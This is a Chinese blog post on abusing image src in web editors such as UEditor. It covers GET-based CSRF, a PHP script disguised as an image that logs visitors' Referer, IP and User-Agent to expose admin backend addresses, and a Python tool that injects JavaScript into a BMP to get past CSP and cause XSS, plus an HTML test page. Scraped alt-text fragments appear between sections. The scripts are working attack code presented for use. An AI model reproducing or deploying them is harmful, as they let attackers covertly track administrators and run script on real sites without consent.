在使用类似ueditor这样的网页编辑器时,由于编辑器本身支持的源码编辑功能,如果过滤的不够完善,攻击者可以通过写入js来执行脚本语句,达成存储型xss的效果。

  当然,如今的编辑器安全方面做的都已经相当不错,能够自动触发的恶意脚本已经是很难写入了,剩下还比较容易受控的,就是点击触发的外部链接了。前段时间,我就在尝试利用了外部链接进行csrf时,小伙伴提醒我可以尝试一下图片xss的方法,该方法和恶意外部链接的手段差不多,就是在编辑器引入外部图片的src地址时,修改为一个恶意地址,由于图片自动加载的特性,审核人员在查看该页面时会总动触发该请求,如果该请求是一个有效的csrf,就可以在无声无息间~~~~。

  感觉不算是一个漏洞,实际的利用还是要结合其他诸如csrf漏洞,而且由于是在img标签的src里,如果请求的页面里有什么js脚本也不会被执行,所以顶多只能搞搞get类型的csrf,所以貌似危害不是很大,也不太好处理。后来小伙伴又提出了jsonp劫持的概念,表示没有研究过,貌似和csrf差不大多。

  为了探究它还能做什么,我稍稍研究了一番。简单记录一下:

#0x01 CSRF

  csrf不需要细说了,使用条件比较苛刻,不过我在某站后台里确实找到get型的csrf利用,可以删除除管理员外的其他用户数据。

#0x02 打后台地址

  在别人博客上看到有提到可以用这种图片xss拿别人后台,没看到具体的方法,不过博主提到是用Php伪造了一张图片,且这种方法无法拿cookie,只能获取后台、浏览器、IP地址之类的信息。

  没看到代码只好自己寻思,无法拿cookie说明并没有同源的脚本执行,后台地址、浏览器、IP地址之类其实就是Header头,而header头信息是访问请求里自带的,然后用Php脚本提取出来并记录。

  想到就做,用自己蹩脚的Php实现了一下:

<?php

	$keys=array('HTTP_REFERER','REMOTE_ADDR','HTTP_USER_AGENT');

	//file_put_contents('result',$_SERVER);

	$headers='';

	foreach($_SERVER as $key=>$value){

		if(in_array($key,$keys)){

			$headers.='|'.$key.':'.$value;

			//echo $headers;

		}

	}

	file_put_contents('result',$headers."\n",FILE_APPEND);
	echo file_get_contents('test.jpg');

?>

  为了不引起怀疑,还特地返回了一张图片。

  测试了下效果(<img src="http://192.168.124.129:8888/test.php"/>),你打开网页看到图片的同时,对方已经拿到你的地址了。

img标签的src属性nginx img标签xss_IP

  如果你当前是在管理员页面做审核,你的管理员地址就暴露了。 

  不过有些网站做了meta referer设置,referer就抓不到了。

#0x03 另一种情景的图片执行js

  在绕过csp时可能会用到,如果网站阻止了外域js,可以通过上传一个可执行Js语法的图片来造成xss。

大佬的代码:

#!/usr/bin/env python2.7
import os
import argparse
def injectFile(payload,fname):
        f = open(fname,"r+b")
        b = f.read()
        f.close()
 
        f = open(fname,"w+b")
        f.write(b)
        f.seek(2,0)
        f.write(b'\x2F\x2A')
        f.close()
 
        f = open(fname,"a+b")
        f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
        f.write(payload)
        f.close()
        return True
 
if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("filename",help="the bmp file name to infected")
        parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
        args = parser.parse_args()
        injectFile(args.js_payload,args.filename)

  主要是通过修改文件结构让图片变成符合js语法的文件。

img标签的src属性nginx img标签xss_img标签的src属性nginx_02

img标签的src属性nginx img标签xss_img标签的src属性nginx_03

<html>
<head><title>Opening an image</title> </head>
<body>
	<img src="logo.bmp"\>
	<script src= "logo.bmp"> </script>
</body>
</html>

尝试后, 图片既可以显示又可以执行js语句。原因似乎是因为浏览器在进行content种别判断时,不单考虑content_type,还会根据content的内容进行判断。

img标签的src属性nginx img标签xss_html_04

ps:有些图片无法成功,原因是注释掉的中间图片本身内容破坏了会破坏js结构。

#0x04参考

  

  http://xdxd.love/2015/04/10/csp%E7%BB%95%E8%BF%87/

  https://woj.app/1785.html